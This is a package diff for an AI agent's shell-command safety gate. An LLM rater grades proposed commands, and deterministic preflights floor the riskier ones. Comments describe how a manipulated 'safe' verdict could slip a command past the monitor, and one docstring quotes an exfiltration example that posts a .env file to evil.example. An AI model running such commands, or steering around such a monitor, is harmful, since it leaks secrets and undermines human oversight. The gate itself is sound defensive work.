@gaunt-sloth/core 2.0.0-alpha.26 → 2.0.0-alpha.27
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/config/schema.js +64 -15
- package/dist/config/schema.js.map +1 -1
- package/dist/config/types.d.ts +17 -8
- package/dist/config/types.js.map +1 -1
- package/dist/constants.d.ts +7 -4
- package/dist/constants.js +7 -4
- package/dist/constants.js.map +1 -1
- package/dist/core/GthAgentRunner.d.ts +10 -4
- package/dist/core/GthAgentRunner.js +24 -7
- package/dist/core/GthAgentRunner.js.map +1 -1
- package/dist/core/GthLangChainAgent.js +16 -11
- package/dist/core/GthLangChainAgent.js.map +1 -1
- package/dist/core/launchBanner.js +36 -17
- package/dist/core/launchBanner.js.map +1 -1
- package/dist/core/shell/abstention.d.ts +88 -0
- package/dist/core/shell/abstention.js +184 -0
- package/dist/core/shell/abstention.js.map +1 -0
- package/dist/core/shell/openWorld.d.ts +137 -12
- package/dist/core/shell/openWorld.js +677 -12
- package/dist/core/shell/openWorld.js.map +1 -1
- package/dist/core/shell/rater.d.ts +68 -38
- package/dist/core/shell/rater.js +105 -61
- package/dist/core/shell/rater.js.map +1 -1
- package/dist/core/shell/rejection.d.ts +7 -4
- package/dist/core/shell/rejection.js +3 -3
- package/dist/core/shell/rejection.js.map +1 -1
- package/dist/core/toolDisplay.d.ts +12 -3
- package/dist/core/toolDisplay.js +27 -7
- package/dist/core/toolDisplay.js.map +1 -1
- package/dist/utils/displayWidth.d.ts +30 -0
- package/dist/utils/displayWidth.js +140 -0
- package/dist/utils/displayWidth.js.map +1 -0
- package/dist/utils/systemPromptNotes.d.ts +28 -8
- package/dist/utils/systemPromptNotes.js +47 -49
- package/dist/utils/systemPromptNotes.js.map +1 -1
- package/dist/utils/untrustedText.d.ts +66 -0
- package/dist/utils/untrustedText.js +80 -0
- package/dist/utils/untrustedText.js.map +1 -0
- package/package.json +2 -1
- package/schema/gsloth-config.schema.json +3 -1
|
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|
*
|
|
26
|
-
*
|
|
27
|
-
*
|
|
28
|
-
*
|
|
26
|
+
* A command whose target the gate cannot statically resolve is RATED like any other ([[EXT-81]]),
|
|
27
|
+
* carrying a neutral note about the shape the parser saw ({@link buildParserPreflightNote}). It is
|
|
28
|
+
* not an action, not a floor, and not a reason to skip the call.
|
|
29
29
|
*
|
|
30
30
|
* Mirrors the QA-3 rating substrate (`packages/review/src/middleware/reviewRateMiddleware.ts`):
|
|
31
31
|
* structured-output evaluation over `config.llm`, wrapped in try/catch.
|
|
@@ -83,8 +83,7 @@ export declare const ShellSafetyVerdictSchema: z.ZodObject<{
|
|
|
83
83
|
export type ShellSafetyVerdict = z.infer<typeof ShellSafetyVerdictSchema>;
|
|
84
84
|
/**
|
|
85
85
|
* The honest reason text used whenever the outcome was NOT assessed by the rater — a rater failure
|
|
86
|
-
* ({@link FAIL_CLOSED_VERDICT}) or
|
|
87
|
-
* ({@link mapVerdictToAction}'s ambiguity / script-env-leak preflight). Spec rule (§4.1):
|
|
86
|
+
* ({@link FAIL_CLOSED_VERDICT}) or the script-env-leak preflight. Spec rule (§4.1):
|
|
88
87
|
* *uncertainty is not an outcome*, so it maps to `destructive` while SAYING it could not be
|
|
89
88
|
* assessed rather than pretending the command was found harmful.
|
|
90
89
|
*/
|
|
@@ -137,9 +136,8 @@ export declare const FAIL_CLOSED_VERDICT: ShellSafetyVerdict;
|
|
|
137
136
|
*
|
|
138
137
|
* The outcome stays `destructive` for all four — failing closed is right and stays right, and a
|
|
139
138
|
* failure to assess must not manufacture `catastrophic`/`attack` any more than it may manufacture
|
|
140
|
-
* an approval. What changes is that the reason now says which failure happened
|
|
141
|
-
*
|
|
142
|
-
* re-deriving it; this module deliberately does not anticipate that vocabulary.
|
|
139
|
+
* an approval. What changes is that the reason now says which failure happened, which is what lets a
|
|
140
|
+
* caller tell the gate defaulting from the model judging ({@link isFailClosed}).
|
|
143
141
|
*/
|
|
144
142
|
export type FailClosedCause = 'no-model' | 'timeout' | 'unparseable' | 'threw';
|
|
145
143
|
/**
|
|
@@ -318,14 +316,32 @@ export declare function foldHomePath(command: string, home: string | undefined):
|
|
|
318
316
|
/**
|
|
319
317
|
* Build the messages for the rater call: the system prompt ({@link buildRaterSystemPrompt}) plus a
|
|
320
318
|
* human message that embeds the NORMALIZED command inside an XML `<command_to_evaluate>` tag and
|
|
321
|
-
* (optionally) notes what a deterministic preflight already found — the script-env-leak flag,
|
|
322
|
-
* (§4.6) a host literal in a fetch position
|
|
323
|
-
* builder never executes or
|
|
324
|
-
*
|
|
325
|
-
*
|
|
326
|
-
*
|
|
327
|
-
*
|
|
328
|
-
*
|
|
319
|
+
* (optionally) notes what a deterministic preflight already found — the script-env-leak flag,
|
|
320
|
+
* (§4.6) a host literal in a fetch position, and ([[EXT-81]]) the shape our own parser could not
|
|
321
|
+
* resolve. The command text is only ever DATA in the tag — the builder never executes or
|
|
322
|
+
* interpolates it as instructions, and the notes are our own trusted text beside it.
|
|
323
|
+
*
|
|
324
|
+
* The four preflight notes are worded differently on purpose, and the differences are the design:
|
|
325
|
+
*
|
|
326
|
+
* - The **script-env-leak** note caps nothing but says "treat this as at least destructive".
|
|
327
|
+
* - The **open-world floor** note must NOT, because §4.6.1 asks the rater to *upgrade* a clear
|
|
328
|
+
* typosquat to `attack` and a note that anchors on `destructive` would talk it out of the one
|
|
329
|
+
* judgement it is still being asked for. It may say the command is never auto-approved, because a
|
|
330
|
+
* floor really did fire on it.
|
|
331
|
+
* - The **parser** note ({@link buildParserPreflightNote}) is a third register again: those two
|
|
332
|
+
* describe findings that ARE hazards and are entitled to a floor, while this one reports that our
|
|
333
|
+
* parser could not read the command, which establishes nothing about it. So it states a mechanism
|
|
334
|
+
* and asks a question, carries no verdict and no severity, and — unlike the open-world note —
|
|
335
|
+
* never says the command has already been floored, because for these families none has.
|
|
336
|
+
* - The **composed open-world** note ({@link buildComposedOpenWorldNote}) shares that third register
|
|
337
|
+
* and must not borrow the floor note's wording, for the reason the floor note is entitled to it:
|
|
338
|
+
* no floor fired here. It names the DATA FLOW across the parts rather than restating the hostname,
|
|
339
|
+
* which is already in the command text — see that function for the measurement behind that
|
|
340
|
+
* distinction.
|
|
341
|
+
*
|
|
342
|
+
* **Order matters here and is the order of a reader's attention**: the two hazard notes come first
|
|
343
|
+
* because each names something positively established, then the parser note, then its open-world
|
|
344
|
+
* elaboration — general shape of what could not be resolved, then the specific flow inside it.
|
|
329
345
|
*
|
|
330
346
|
* §4.3 defines the rated unit tool-generally (tool name + JSON arguments); `run_shell_command` is
|
|
331
347
|
* the case whose argument is a command string, and it alone is additionally normalized and
|
|
@@ -378,6 +394,15 @@ export declare function rateShellCommand(command: string, config: GthConfig, opt
|
|
|
378
394
|
* model can respond to and offers it no moves; no rung except `bypass` can turn it into
|
|
379
395
|
* anything else.
|
|
380
396
|
*
|
|
397
|
+
* **[[EXT-81]] retired the fourth arm, `abstain`.** A command whose target the gate could not
|
|
398
|
+
* statically resolve used to skip the rating call entirely and return that action instead. Under
|
|
399
|
+
* §6.1's rule — *deterministic checks fire only where we are confident something is a threat; where
|
|
400
|
+
* we cannot tell, the model decides* — a parser reporting that it could not resolve a string is not
|
|
401
|
+
* a detection, so it no longer earns an action of its own. What it earns is a neutral note in the
|
|
402
|
+
* rating prompt ({@link buildParserPreflightNote}) and a real rating, which is also what restores
|
|
403
|
+
* the ceiling: `catastrophic` and `attack` were UNREACHABLE for that whole class while nobody rated
|
|
404
|
+
* it, so `pwd && rm -rf ~` could only ever be floored at `destructive`.
|
|
405
|
+
*
|
|
381
406
|
* There is deliberately **no `refuse` arm for `catastrophic`** (settled 2026-07-27c, §4.2). The
|
|
382
407
|
* deterministic members of that class — fork bomb, `mkfs`, `rm -rf /`, `dd` to a block device — are
|
|
383
408
|
* already refused unappealably by the §8 hardline floor under every rung including `bypass`, so a
|
|
@@ -483,6 +508,13 @@ export declare function openWorldToolFloorReason(annotations: EffectiveToolAnnot
|
|
|
483
508
|
* | `catastrophic` | — | escalate | escalate — **never negotiate** | — |
|
|
484
509
|
* | `attack` | — | **halt** | **halt** | — |
|
|
485
510
|
*
|
|
511
|
+
* **[[EXT-81]] — there is no longer a row cutting across that column.** A command whose target the
|
|
512
|
+
* gate cannot statically resolve used to return `abstain` here, before the `safe` check and after
|
|
513
|
+
* the two severe outcomes. It is now rated like any other command, carrying a neutral note about
|
|
514
|
+
* the shape the parser saw ({@link buildParserPreflightNote}), and this table is the whole mapping
|
|
515
|
+
* again. The table gained nothing it did not have: what it LOST is a branch that made
|
|
516
|
+
* `catastrophic` and `attack` unreachable for every composed, substituting or redirecting command.
|
|
517
|
+
*
|
|
486
518
|
* Order of precedence (fail-closed FIRST — **this ordering IS the safety property**):
|
|
487
519
|
*
|
|
488
520
|
* 1. `bypass` → `approve`. The gate is off. The declared deny list and the exec-time hardline
|
|
@@ -492,24 +524,23 @@ export declare function openWorldToolFloorReason(annotations: EffectiveToolAnnot
|
|
|
492
524
|
* decides. (Both rungs behave identically for the shell because the shell is the only gated
|
|
493
525
|
* tool today — the built-in read/write tools each rung grants are not gated until [[EXT-30]]
|
|
494
526
|
* widens the gate. That is a scope boundary, not a missing branch.)
|
|
495
|
-
* 3. **The deterministic
|
|
496
|
-
* one** ({@link preflightFloorReason})
|
|
497
|
-
*
|
|
498
|
-
*
|
|
499
|
-
*
|
|
500
|
-
*
|
|
501
|
-
*
|
|
502
|
-
*
|
|
503
|
-
*
|
|
504
|
-
*
|
|
505
|
-
*
|
|
506
|
-
* `
|
|
507
|
-
*
|
|
508
|
-
* `catastrophic` verdict to `destructive` — the exact inverse of the invariant above, silently
|
|
509
|
-
* trading an unnegotiable escalation for a negotiable one at `full-auto`.)
|
|
527
|
+
* 3. **The deterministic preflight FINDINGS, which FLOOR the outcome at `destructive` and never
|
|
528
|
+
* lower one** ({@link preflightFloorReason}): the script-env-leak preflight
|
|
529
|
+
* ({@link hasScriptEnvLeakRisk}) and EXT-61's open-world preflight
|
|
530
|
+
* ({@link findOpenWorldHostLiterals} — a host literal in a fetch/transfer position, §4.6). Both
|
|
531
|
+
* are recomputed from the RAW command, independently of what the rater said. Either rewrites a
|
|
532
|
+
* verdict that sits BELOW the floor — i.e. `safe`, and only `safe`
|
|
533
|
+
* ({@link isBelowDestructiveFloor}) — to `destructive` with an honest reason, **before the `safe`
|
|
534
|
+
* check**, so a manipulated `safe` verdict can never slip one of them through. **A rater verdict
|
|
535
|
+
* may only ever make an outcome worse, never better**, and so may a preflight: `destructive`,
|
|
536
|
+
* `catastrophic` and `attack` all pass through UNCHANGED. (Before the rescale this branch
|
|
537
|
+
* excluded the single halting outcome BY NAME. Renamed in place it would have let a preflight hit
|
|
538
|
+
* *downgrade* a `catastrophic` verdict to `destructive` — the exact inverse of the invariant
|
|
539
|
+
* above, silently trading an unnegotiable escalation for a negotiable one at `full-auto`.)
|
|
510
540
|
* 4. `attack` → `halt`, at both rated rungs, never negotiable.
|
|
511
|
-
* 5. `
|
|
512
|
-
*
|
|
541
|
+
* 5. `catastrophic` → `escalate`, and MUST NOT enter §5's negotiation.
|
|
542
|
+
* 6. `safe` → `approve`; `destructive` → `escalate` (a negotiation at `full-auto` once [[EXT-29]]
|
|
543
|
+
* lands).
|
|
513
544
|
*
|
|
514
545
|
* **EXT-58 (§4.4): the verdict's `suggestedTool` is not read here, and that is deliberate.** A
|
|
515
546
|
* suggestion is never an approval — it must not change the action, must not approve the original
|
|
@@ -547,11 +578,10 @@ export declare function mapVerdictToAction(command: string, verdict: ShellSafety
|
|
|
547
578
|
* **The deterministic preflights are deliberately not consulted** ({@link preflightFloorReason} is
|
|
548
579
|
* not called). §4.6 states it directly for the open-world arm: *an allow match lifts this floor even
|
|
549
580
|
* when the entry keeps the rater involved — the tripwire still sees the call; the floor does not
|
|
550
|
-
* apply to it.* The
|
|
551
|
-
* only ever raises `safe` to `destructive`, and both of those run here. Applying the floor
|
|
552
|
-
* therefore alter nothing except to replace an honest verdict with a note about a decision
|
|
553
|
-
* mapping does not make.
|
|
554
|
-
* command that fails to statically resolve.)
|
|
581
|
+
* apply to it.* The script-env-leak arm is lifted with it, and doing so changes no outcome: a
|
|
582
|
+
* preflight only ever raises `safe` to `destructive`, and both of those run here. Applying the floor
|
|
583
|
+
* would therefore alter nothing except to replace an honest verdict with a note about a decision
|
|
584
|
+
* this mapping does not make.
|
|
555
585
|
*
|
|
556
586
|
* @param verdict The rater's verdict; `undefined` or a fail-closed verdict is `destructive` and so
|
|
557
587
|
* runs — the tripwire failing to answer does not revoke the human's standing decision, exactly as
|
package/dist/core/shell/rater.js
CHANGED
|
@@ -23,9 +23,9 @@
|
|
|
23
23
|
* "could not assess" reason. A rater failure can never silently green-light a command.
|
|
24
24
|
* See {@link FAIL_CLOSED_VERDICT}.
|
|
25
25
|
*
|
|
26
|
-
*
|
|
27
|
-
*
|
|
28
|
-
*
|
|
26
|
+
* A command whose target the gate cannot statically resolve is RATED like any other ([[EXT-81]]),
|
|
27
|
+
* carrying a neutral note about the shape the parser saw ({@link buildParserPreflightNote}). It is
|
|
28
|
+
* not an action, not a floor, and not a reason to skip the call.
|
|
29
29
|
*
|
|
30
30
|
* Mirrors the QA-3 rating substrate (`packages/review/src/middleware/reviewRateMiddleware.ts`):
|
|
31
31
|
* structured-output evaluation over `config.llm`, wrapped in try/catch.
|
|
@@ -33,9 +33,9 @@
|
|
|
33
33
|
import { HumanMessage, SystemMessage } from '@langchain/core/messages';
|
|
34
34
|
import * as z from 'zod';
|
|
35
35
|
import { isRatedRung, resolveApprovals } from '#src/config.js';
|
|
36
|
-
import {
|
|
36
|
+
import { buildParserPreflightNote } from '#src/core/shell/abstention.js';
|
|
37
37
|
import { normalizeCommand } from '#src/core/shell/normalize.js';
|
|
38
|
-
import { findOpenWorldHostLiterals } from '#src/core/shell/openWorld.js';
|
|
38
|
+
import { buildComposedOpenWorldNote, findOpenWorldHostLiterals, } from '#src/core/shell/openWorld.js';
|
|
39
39
|
import { debugLog, debugLogError } from '#src/utils/debugUtils.js';
|
|
40
40
|
/**
|
|
41
41
|
* CFG-28 (spec §4.1) — the **four** outcomes the rater may return. The retired third outcome named
|
|
@@ -96,8 +96,7 @@ export const ShellSafetyVerdictSchema = z.object({
|
|
|
96
96
|
});
|
|
97
97
|
/**
|
|
98
98
|
* The honest reason text used whenever the outcome was NOT assessed by the rater — a rater failure
|
|
99
|
-
* ({@link FAIL_CLOSED_VERDICT}) or
|
|
100
|
-
* ({@link mapVerdictToAction}'s ambiguity / script-env-leak preflight). Spec rule (§4.1):
|
|
99
|
+
* ({@link FAIL_CLOSED_VERDICT}) or the script-env-leak preflight. Spec rule (§4.1):
|
|
101
100
|
* *uncertainty is not an outcome*, so it maps to `destructive` while SAYING it could not be
|
|
102
101
|
* assessed rather than pretending the command was found harmful.
|
|
103
102
|
*/
|
|
@@ -487,14 +486,32 @@ export function foldHomePath(command, home) {
|
|
|
487
486
|
/**
|
|
488
487
|
* Build the messages for the rater call: the system prompt ({@link buildRaterSystemPrompt}) plus a
|
|
489
488
|
* human message that embeds the NORMALIZED command inside an XML `<command_to_evaluate>` tag and
|
|
490
|
-
* (optionally) notes what a deterministic preflight already found — the script-env-leak flag,
|
|
491
|
-
* (§4.6) a host literal in a fetch position
|
|
492
|
-
* builder never executes or
|
|
493
|
-
*
|
|
494
|
-
*
|
|
495
|
-
*
|
|
496
|
-
*
|
|
497
|
-
*
|
|
489
|
+
* (optionally) notes what a deterministic preflight already found — the script-env-leak flag,
|
|
490
|
+
* (§4.6) a host literal in a fetch position, and ([[EXT-81]]) the shape our own parser could not
|
|
491
|
+
* resolve. The command text is only ever DATA in the tag — the builder never executes or
|
|
492
|
+
* interpolates it as instructions, and the notes are our own trusted text beside it.
|
|
493
|
+
*
|
|
494
|
+
* The four preflight notes are worded differently on purpose, and the differences are the design:
|
|
495
|
+
*
|
|
496
|
+
* - The **script-env-leak** note caps nothing but says "treat this as at least destructive".
|
|
497
|
+
* - The **open-world floor** note must NOT, because §4.6.1 asks the rater to *upgrade* a clear
|
|
498
|
+
* typosquat to `attack` and a note that anchors on `destructive` would talk it out of the one
|
|
499
|
+
* judgement it is still being asked for. It may say the command is never auto-approved, because a
|
|
500
|
+
* floor really did fire on it.
|
|
501
|
+
* - The **parser** note ({@link buildParserPreflightNote}) is a third register again: those two
|
|
502
|
+
* describe findings that ARE hazards and are entitled to a floor, while this one reports that our
|
|
503
|
+
* parser could not read the command, which establishes nothing about it. So it states a mechanism
|
|
504
|
+
* and asks a question, carries no verdict and no severity, and — unlike the open-world note —
|
|
505
|
+
* never says the command has already been floored, because for these families none has.
|
|
506
|
+
* - The **composed open-world** note ({@link buildComposedOpenWorldNote}) shares that third register
|
|
507
|
+
* and must not borrow the floor note's wording, for the reason the floor note is entitled to it:
|
|
508
|
+
* no floor fired here. It names the DATA FLOW across the parts rather than restating the hostname,
|
|
509
|
+
* which is already in the command text — see that function for the measurement behind that
|
|
510
|
+
* distinction.
|
|
511
|
+
*
|
|
512
|
+
* **Order matters here and is the order of a reader's attention**: the two hazard notes come first
|
|
513
|
+
* because each names something positively established, then the parser note, then its open-world
|
|
514
|
+
* elaboration — general shape of what could not be resolved, then the specific flow inside it.
|
|
498
515
|
*
|
|
499
516
|
* §4.3 defines the rated unit tool-generally (tool name + JSON arguments); `run_shell_command` is
|
|
500
517
|
* the case whose argument is a command string, and it alone is additionally normalized and
|
|
@@ -537,6 +554,22 @@ export function buildRaterPrompt(command, options) {
|
|
|
537
554
|
'the HOSTNAME: if it impersonates a known one, name it in your explanation, and upgrade to ' +
|
|
538
555
|
'`attack` only if that deception is clear.');
|
|
539
556
|
}
|
|
557
|
+
// [[EXT-81]] — computed from the RAW command, exactly as the two notes above are: the mechanism
|
|
558
|
+
// classifier normalizes internally, so the note describes the same string the gate looked at.
|
|
559
|
+
// `null` for every command that statically resolves, which is what keeps the note off the
|
|
560
|
+
// ordinary `ls -la` — see the guard in `describeAbstention`.
|
|
561
|
+
const parserNote = buildParserPreflightNote(command);
|
|
562
|
+
if (parserNote !== null) {
|
|
563
|
+
userLines.push('', parserNote);
|
|
564
|
+
}
|
|
565
|
+
// …and its open-world elaboration, which fires on exactly the same set — a command the parser
|
|
566
|
+
// could not resolve — narrowed to those whose parts name a host in a fetch/transfer position. It
|
|
567
|
+
// carries NO verdict clause: the floor above did not fire on this command, so the sentence that
|
|
568
|
+
// note ends with would be false here.
|
|
569
|
+
const composedNote = buildComposedOpenWorldNote(command);
|
|
570
|
+
if (composedNote !== null) {
|
|
571
|
+
userLines.push('', composedNote);
|
|
572
|
+
}
|
|
540
573
|
return {
|
|
541
574
|
// §4.3/§4.4 — the granted-tool list is trusted, locally-generated text, so it goes in the
|
|
542
575
|
// SYSTEM prompt: structurally outside the fenced `<command_to_evaluate>` block below, which is
|
|
@@ -632,8 +665,8 @@ export async function rateShellCommand(command, config, options) {
|
|
|
632
665
|
* may rewrite. **This is the whole floor rule, and it is a table rather than a comparison on
|
|
633
666
|
* purpose.**
|
|
634
667
|
*
|
|
635
|
-
* A preflight ({@link
|
|
636
|
-
*
|
|
668
|
+
* A preflight ({@link preflightFloorReason}'s script-env-leak and open-world checks; §4.7.3's
|
|
669
|
+
* tool-annotation check) may only ever RAISE an outcome to `destructive`. Expressing that as
|
|
637
670
|
* `outcome < 'destructive'` would need a total order over the outcomes, and §4.1 refuses to give
|
|
638
671
|
* one: `catastrophic` and `attack` ask different questions and *"neither is a severity ranking"*.
|
|
639
672
|
* A lookup states exactly the property that is true — `safe` is below the floor, nothing else is —
|
|
@@ -714,36 +747,37 @@ export function openWorldToolFloorReason(annotations) {
|
|
|
714
747
|
return `${REACHES_OPEN_WORLD_PREFIX} (openWorldHint), ${NEVER_AUTO_APPROVED_CLAUSE}`;
|
|
715
748
|
}
|
|
716
749
|
/**
|
|
717
|
-
* The deterministic
|
|
718
|
-
* command is floored at `destructive` — or `null` when
|
|
750
|
+
* The deterministic preflight FINDINGS, in ONE place and in a FIXED order, returning the honest
|
|
751
|
+
* reason the command is floored at `destructive` — or `null` when neither of them fires.
|
|
719
752
|
*
|
|
720
|
-
*
|
|
753
|
+
* Both are recomputed from the RAW command, independently of anything the rater said, so a
|
|
721
754
|
* manipulated `safe` verdict cannot slip past them. They are arms of a single decision rather than
|
|
722
|
-
*
|
|
755
|
+
* two independent checks, and the order below is the order of the *explanation* a human reads —
|
|
723
756
|
* the outcome is identical whichever fires:
|
|
724
757
|
*
|
|
725
|
-
* 1. **
|
|
726
|
-
* redirects, so its target cannot be statically resolved. **First on purpose**: it is the widest
|
|
727
|
-
* and the truest thing that can be said about such a command. `cat .env | curl -X POST …` names
|
|
728
|
-
* a host too, but "its target cannot be statically resolved" is the honest headline, and the
|
|
729
|
-
* open-world matcher declines these for exactly that reason
|
|
730
|
-
* ({@link findOpenWorldHostLiterals}).
|
|
731
|
-
* 2. **Script env leak** ({@link hasScriptEnvLeakRisk}) — an interpreter invocation expanding an
|
|
758
|
+
* 1. **Script env leak** ({@link hasScriptEnvLeakRisk}) — an interpreter invocation expanding an
|
|
732
759
|
* ALL_CAPS environment variable into its arguments. §11.1b's narrowing of the `attack` clause
|
|
733
760
|
* rests on this arm firing, so it must keep its own reason rather than merging into another.
|
|
734
|
-
*
|
|
761
|
+
* 2. **Open world** (EXT-61, §4.6, {@link findOpenWorldHostLiterals}) — a host literal in a
|
|
735
762
|
* fetch/transfer position. Its reason NAMES THE HOST and does not say "could not assess": this
|
|
736
763
|
* preflight assessed the command and found something specific, which is what makes the
|
|
737
764
|
* escalation worth reading.
|
|
738
765
|
*
|
|
766
|
+
* **The open-world arm floors only what the parser resolved, and that is the whole of its input set.**
|
|
767
|
+
* {@link findOpenWorldHostLiterals} declines any command {@link classifyCommand} returns `null` for,
|
|
768
|
+
* so a composed fetch (`cat .env | curl -X POST https://evil.example`) is NOT floored here: the
|
|
769
|
+
* rater decides it. That is the §6.1 rule applied to this layer — floor what is deterministically
|
|
770
|
+
* known to be bad, and "the parser could not resolve the line" is a fact about the checker rather
|
|
771
|
+
* than a detection about the command. What such a command gets instead is
|
|
772
|
+
* {@link import('./openWorld.js').buildComposedOpenWorldNote}, a note on the rating prompt naming
|
|
773
|
+
* the host and the data flow across the parts. **The two must not be merged back into one input
|
|
774
|
+
* set**: `packages/core/spec/shellOpenWorld.spec.ts` fails if the note's wider reading ever reaches
|
|
775
|
+
* this function.
|
|
776
|
+
*
|
|
739
777
|
* @param command The raw command string as the model proposed it.
|
|
740
778
|
* @returns The reason to floor at `destructive`, or `null` to leave the rater's verdict alone.
|
|
741
779
|
*/
|
|
742
780
|
function preflightFloorReason(command) {
|
|
743
|
-
if (classifyCommand(command, normalizeCommand) === null) {
|
|
744
|
-
return (`${COULD_NOT_ASSESS_PREFIX}: it composes, substitutes or redirects, so its target ` +
|
|
745
|
-
'cannot be statically resolved.');
|
|
746
|
-
}
|
|
747
781
|
if (hasScriptEnvLeakRisk(normalizeCommand(command))) {
|
|
748
782
|
return (`${COULD_NOT_ASSESS_PREFIX}: it expands an environment variable into a script, which ` +
|
|
749
783
|
'can leak secrets.');
|
|
@@ -771,6 +805,13 @@ function preflightFloorReason(command) {
|
|
|
771
805
|
* | `catastrophic` | — | escalate | escalate — **never negotiate** | — |
|
|
772
806
|
* | `attack` | — | **halt** | **halt** | — |
|
|
773
807
|
*
|
|
808
|
+
* **[[EXT-81]] — there is no longer a row cutting across that column.** A command whose target the
|
|
809
|
+
* gate cannot statically resolve used to return `abstain` here, before the `safe` check and after
|
|
810
|
+
* the two severe outcomes. It is now rated like any other command, carrying a neutral note about
|
|
811
|
+
* the shape the parser saw ({@link buildParserPreflightNote}), and this table is the whole mapping
|
|
812
|
+
* again. The table gained nothing it did not have: what it LOST is a branch that made
|
|
813
|
+
* `catastrophic` and `attack` unreachable for every composed, substituting or redirecting command.
|
|
814
|
+
*
|
|
774
815
|
* Order of precedence (fail-closed FIRST — **this ordering IS the safety property**):
|
|
775
816
|
*
|
|
776
817
|
* 1. `bypass` → `approve`. The gate is off. The declared deny list and the exec-time hardline
|
|
@@ -780,24 +821,23 @@ function preflightFloorReason(command) {
|
|
|
780
821
|
* decides. (Both rungs behave identically for the shell because the shell is the only gated
|
|
781
822
|
* tool today — the built-in read/write tools each rung grants are not gated until [[EXT-30]]
|
|
782
823
|
* widens the gate. That is a scope boundary, not a missing branch.)
|
|
783
|
-
* 3. **The deterministic
|
|
784
|
-
* one** ({@link preflightFloorReason})
|
|
785
|
-
*
|
|
786
|
-
*
|
|
787
|
-
*
|
|
788
|
-
*
|
|
789
|
-
*
|
|
790
|
-
*
|
|
791
|
-
*
|
|
792
|
-
*
|
|
793
|
-
*
|
|
794
|
-
* `
|
|
795
|
-
*
|
|
796
|
-
* `catastrophic` verdict to `destructive` — the exact inverse of the invariant above, silently
|
|
797
|
-
* trading an unnegotiable escalation for a negotiable one at `full-auto`.)
|
|
824
|
+
* 3. **The deterministic preflight FINDINGS, which FLOOR the outcome at `destructive` and never
|
|
825
|
+
* lower one** ({@link preflightFloorReason}): the script-env-leak preflight
|
|
826
|
+
* ({@link hasScriptEnvLeakRisk}) and EXT-61's open-world preflight
|
|
827
|
+
* ({@link findOpenWorldHostLiterals} — a host literal in a fetch/transfer position, §4.6). Both
|
|
828
|
+
* are recomputed from the RAW command, independently of what the rater said. Either rewrites a
|
|
829
|
+
* verdict that sits BELOW the floor — i.e. `safe`, and only `safe`
|
|
830
|
+
* ({@link isBelowDestructiveFloor}) — to `destructive` with an honest reason, **before the `safe`
|
|
831
|
+
* check**, so a manipulated `safe` verdict can never slip one of them through. **A rater verdict
|
|
832
|
+
* may only ever make an outcome worse, never better**, and so may a preflight: `destructive`,
|
|
833
|
+
* `catastrophic` and `attack` all pass through UNCHANGED. (Before the rescale this branch
|
|
834
|
+
* excluded the single halting outcome BY NAME. Renamed in place it would have let a preflight hit
|
|
835
|
+
* *downgrade* a `catastrophic` verdict to `destructive` — the exact inverse of the invariant
|
|
836
|
+
* above, silently trading an unnegotiable escalation for a negotiable one at `full-auto`.)
|
|
798
837
|
* 4. `attack` → `halt`, at both rated rungs, never negotiable.
|
|
799
|
-
* 5. `
|
|
800
|
-
*
|
|
838
|
+
* 5. `catastrophic` → `escalate`, and MUST NOT enter §5's negotiation.
|
|
839
|
+
* 6. `safe` → `approve`; `destructive` → `escalate` (a negotiation at `full-auto` once [[EXT-29]]
|
|
840
|
+
* lands).
|
|
801
841
|
*
|
|
802
842
|
* **EXT-58 (§4.4): the verdict's `suggestedTool` is not read here, and that is deliberate.** A
|
|
803
843
|
* suggestion is never an approval — it must not change the action, must not approve the original
|
|
@@ -826,8 +866,8 @@ export function mapVerdictToAction(command, verdict, opts) {
|
|
|
826
866
|
if (!isRatedRung(opts.rung)) {
|
|
827
867
|
return { action: 'escalate', verdict: undefined };
|
|
828
868
|
}
|
|
829
|
-
// (3)
|
|
830
|
-
// is FLOORED at `destructive` with an honest reason, even when the rater said `safe`. The
|
|
869
|
+
// (3) A command that names a host (EXT-61), or that expands an environment variable into a
|
|
870
|
+
// script, is FLOORED at `destructive` with an honest reason, even when the rater said `safe`. The
|
|
831
871
|
// preflights raise; they never lower. Only `safe` sits below the floor, so `destructive`,
|
|
832
872
|
// `catastrophic` and `attack` all pass through untouched, keeping their real explanation (and any
|
|
833
873
|
// §4.4 suggestion) rather than losing it to a note that would also be FALSE — the rater did
|
|
@@ -837,10 +877,6 @@ export function mapVerdictToAction(command, verdict, opts) {
|
|
|
837
877
|
if (effective.outcome === 'attack') {
|
|
838
878
|
return { action: 'halt', verdict: effective };
|
|
839
879
|
}
|
|
840
|
-
// (5) `safe` runs.
|
|
841
|
-
if (effective.outcome === 'safe') {
|
|
842
|
-
return { action: 'approve', verdict: effective };
|
|
843
|
-
}
|
|
844
880
|
// §4.2 — `catastrophic` escalates at BOTH rated rungs and is deliberately its OWN return rather
|
|
845
881
|
// than a fallthrough into the `destructive` arm below. It MUST NOT enter the §5 negotiation at
|
|
846
882
|
// `full-auto`: being *argued into* a `mkfs` is the failure mode that rung is most exposed to, so
|
|
@@ -849,6 +885,15 @@ export function mapVerdictToAction(command, verdict, opts) {
|
|
|
849
885
|
if (effective.outcome === 'catastrophic') {
|
|
850
886
|
return { action: 'escalate', verdict: effective };
|
|
851
887
|
}
|
|
888
|
+
// (5) `safe` runs — including for a command the gate's parser could not resolve. [[EXT-81]]
|
|
889
|
+
// removed the `abstain` branch that used to sit here, so an unresolvable command is decided by
|
|
890
|
+
// the outcome column like any other. What protects it is not a branch of its own but the same
|
|
891
|
+
// three things that protect every command: the preflight floor above (recomputed from the raw
|
|
892
|
+
// command, so a manipulated `safe` cannot slip a script-env-leak past), a rating the rater made
|
|
893
|
+
// with the parser's note in front of it, and the §8 hardline floor at exec time.
|
|
894
|
+
if (effective.outcome === 'safe') {
|
|
895
|
+
return { action: 'approve', verdict: effective };
|
|
896
|
+
}
|
|
852
897
|
// TODO(EXT-29): under `full-auto` a `destructive` outcome opens a NEGOTIATION with the rater
|
|
853
898
|
// (spec §5) rather than going straight to the human — the agent may revise or justify, the
|
|
854
899
|
// rater re-rates seeing the exchange, and only three CONSECUTIVE rejections escalate. Until
|
|
@@ -874,11 +919,10 @@ export function mapVerdictToAction(command, verdict, opts) {
|
|
|
874
919
|
* **The deterministic preflights are deliberately not consulted** ({@link preflightFloorReason} is
|
|
875
920
|
* not called). §4.6 states it directly for the open-world arm: *an allow match lifts this floor even
|
|
876
921
|
* when the entry keeps the rater involved — the tripwire still sees the call; the floor does not
|
|
877
|
-
* apply to it.* The
|
|
878
|
-
